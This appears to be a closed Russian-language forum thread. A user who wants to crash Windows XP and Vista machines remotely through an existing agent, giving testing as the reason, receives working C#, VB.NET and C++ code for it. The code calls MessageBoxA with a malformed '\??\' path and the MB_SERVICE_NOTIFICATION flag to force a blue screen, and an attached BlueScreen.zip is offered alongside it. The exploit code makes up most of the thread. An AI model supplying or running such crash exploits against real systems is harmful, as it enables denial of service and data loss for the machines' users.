Генерация событий клавиатуры

  • Автор темы 2bO~2b
  • Дата начала
Статус
Закрыто для дальнейших ответов.
2

2bO~2b

Господа и дамы, не будете ли вы так любезны ответить на следующий вопрос:
Мне нужно сгенерировать event alt+ctrl+delete. Я пробовала SendInput из user32 dll. Не пашет потому что то что я хочу это low-level, вот например ctrl+a пашет, а alt+ctrl+delete нет. Что посоветуете пользовать?

Спасиба.
 
M

mms

Sorry. You CANNOT send the CTRL-ALT-DELETE sequence using Sendkeys.
Ctrl-Alt-Del causes a hardware interrupt to occur, via direct wiring from
the keyboard. It is a hardware interrupt generated by the keyboard. It's
not the CTRL-ALT-DEL keystroke that is the problem, but that the keyboard
makes a special type of hardware interrupt request to the cpu that SendKey
cannot duplicate.

Опишите, что именно хотелось бы получить, а эмулировать нажатия клавиш, мышки и т.п. - это называется через опу :)
 
2

2bO~2b

Ж.. это уневерсальный интерфэйс, через него можно сделать всё:D

Спасиба за ответ, действительно, через SendInput низзя...
Я хочу коллапснуть винды, есть такая опция: добавить в регистр key, а потом нажатие RControl+Scroll+Scroll заделает BSOD. Я делаю это ремотна, агент у меня уже есть, поэтому bat, любой ехе подойдет. Надо на Висту и ХP. Есть идеи?
 
P

Pasha

<не работает под xp>
запусти скринсейвер sysinternals. и отключи клавиатуру с мышкой.
 
2

2bO~2b

;)
Но мне не для юзеров нужно а для себя, для тестинга, поэтому мне не симуляция нужна а самый настоящий BSOD. Но ход ваших мыслей мне нравится:D
 
P

Pasha

Ход мыслей, говоришь? Синий экран? Из .net? Да как два пальца! :D
Смотри в аттаче.
 

Вложения

  • BlueScreen.zip
    2,1 КБ · Просмотры: 184
2

2bO~2b

Сила! :(
А компот? То есть код?
Спасибо.
 
P

Pasha

На C# (компилировать с unsafe):
Код:
class MboxTest
{
[DllImport("user32.dll")]
unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);

static unsafe void Main()
{
byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
uint MB_SERVICE_NOTIFICATION = 0x00200000u;
fixed(byte* pHelloBug = &helloBug[0])
{
for(int i=0; i<10; i++)
MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
}
}
}
На VB:
Код:
Public Class Class1
Declare Ansi Function MessageBoxA Lib "user32.dll" _
(hwnd As UInteger, _
lpText As Byte(), _
lpCaption As Byte(), _
uType As UInteger) _
As Integer

Public Shared Sub Main()
Dim helloBug As Byte() _
= New Byte() _
{&H5C, &H3F, &H3F, &H5C, &H21, &H21, &H21, &H00}
Dim MB_SERVICE_NOTIFICATION As UInteger _
= &H00200000UI

For i AS Integer = 0 To 9
MessageBoxA(0, helloBug, helloBug, _
MB_SERVICE_NOTIFICATION)
Next
End Sub
End Class
На обычных плюсах:
Код:
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 10; i ++)
{
::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
}
Сперто с
 
Статус
Закрыто для дальнейших ответов.
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!